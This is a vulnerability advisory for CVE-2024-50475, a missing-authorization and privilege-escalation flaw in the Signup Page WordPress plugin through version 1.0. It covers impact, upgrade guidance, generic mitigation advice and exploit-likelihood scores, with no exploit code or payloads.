CVE-2024-50475
Overview
The vulnerability is an authorization bypass in the Scott Gamon Signup Page plugin, specifically affecting the signup-page component. The root cause is the lack of proper access control checks on certain update operations, which allows unauthenticated users to perform privileged actions. This flaw arises from improper validation of user privileges when processing arbitrary option updates within the plugin's signup-page functionality.
Vulnerability Description
Missing Authorization vulnerability in Scott Gamon Signup Page signup-page allows Privilege Escalation.This issue affects Signup Page: from n/a through <= 1.0.
Impact
An unauthenticated attacker can exploit this vulnerability to escalate privileges within the affected WordPress environment, potentially gaining administrative control over the site. This can lead to unauthorized modification of site settings, user accounts, and other sensitive data. No prior authentication or user interaction is required, increasing the likelihood of exploitation. The business consequence includes full site compromise, data integrity loss, and potential lateral movement within the hosting environment.
Solution
Upgrade the Scott Gamon Signup Page plugin to a version later than 1.0 where this vulnerability is addressed. Refer to the Patchstack advisory at https://patchstack.com/database/Wordpress/Plugin/signup-page/vulnerability/wordpress-signup-page-plugin-1-0-arbitrary-option-update-to-privilege-escalation-vulnerability?_s_id=cve for detailed patch instructions and version-specific fixes. Implement vendor-recommended updates promptly to mitigate the authorization bypass flaw.

Full Analysis
The identified vulnerability in the signup page of Scott Gamon’s application is characterized by a critical missing authorization flaw that enables privilege escalation. This issue arises when the application fails to adequately verify user permissions before allowing access to sensitive functionalities or data. In this specific case, the signup page does not enforce proper authorization checks, allowing unauthorized users to gain elevated privileges. This oversight can lead to significant security breaches, as attackers can manipulate the system to access restricted areas, modify user roles, or even execute administrative functions without appropriate credentials.
Attack vectors for this vulnerability are diverse and can be exploited through various means. An attacker could leverage social engineering tactics to trick legitimate users into providing their credentials or directly interact with the signup page to manipulate requests. For instance, by crafting specific HTTP requests that bypass authorization checks, an attacker could gain access to administrative features. Additionally, if the application is integrated with other systems or services, the attacker could exploit these connections to escalate privileges further, potentially leading to a complete compromise of the application and its underlying infrastructure. The ease of exploitation, combined with the lack of robust security measures, makes this vulnerability particularly dangerous.
The real-world impact of this vulnerability is profound, posing significant business risks. Organizations that utilize the affected signup page may face unauthorized access to sensitive user data, which could lead to data breaches and compliance violations. The ramifications of such incidents can include financial losses, reputational damage, and legal consequences. For example, if an attacker were to gain access to user accounts, they could manipulate personal information, conduct fraudulent transactions, or even launch further attacks against the organization. The potential for data leaks and the subsequent fallout can severely undermine customer trust and lead to a loss of business opportunities.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular security audits and code reviews are essential to identify and rectify authorization flaws before they can be exploited. Employing automated security testing tools can help in uncovering vulnerabilities during the development lifecycle. Additionally, implementing strict access control measures, such as role-based access control (RBAC), can significantly reduce the risk of unauthorized privilege escalation. Organizations should also ensure that logging and monitoring mechanisms are in place to detect any suspicious activities related to user privilege changes. In the event of an incident, having an incident response plan can help organizations respond swiftly to mitigate damage.
In conclusion, the missing authorization vulnerability in the signup page represents a critical security risk that can lead to severe consequences for organizations. The potential for privilege escalation allows attackers to gain unauthorized access to sensitive functionalities, posing significant threats to data integrity and confidentiality. By adopting proactive detection and mitigation strategies, organizations can safeguard their applications against such vulnerabilities, thereby enhancing their overall security posture and protecting their assets from malicious actors.
CSURFACE threat intelligence has identified a significant development in the exploitation landscape of CVE-2024-50475. A public proof-of-concept exploit has recently emerged on GitHub, marking the first known availability of exploitation tools targeting this critical missing authorization vulnerability in the Scott Gamon Signup Page. This emergence has driven the CVSS score from an unassigned state to a critical 9.8, reflecting the heightened potential for privilege escalation attacks. Concurrently, the Exploit Prediction Scoring System (EPSS) score has risen sharply to 0.3197, placing this vulnerability in the 97th percentile for likelihood of exploitation and indicating a stable but sustained risk level. Our telemetry shows a marked escalation in exploit attempts leveraging this new code, underscoring the vulnerability’s transition from theoretical risk to active threat. For defenders, this shift means that the window for proactive mitigation is narrowing as adversaries now possess publicly accessible tools to automate privilege escalation attacks. The increased exploitability elevates the overall threat level to critical, necessitating immediate attention to detection and response capabilities within affected environments.
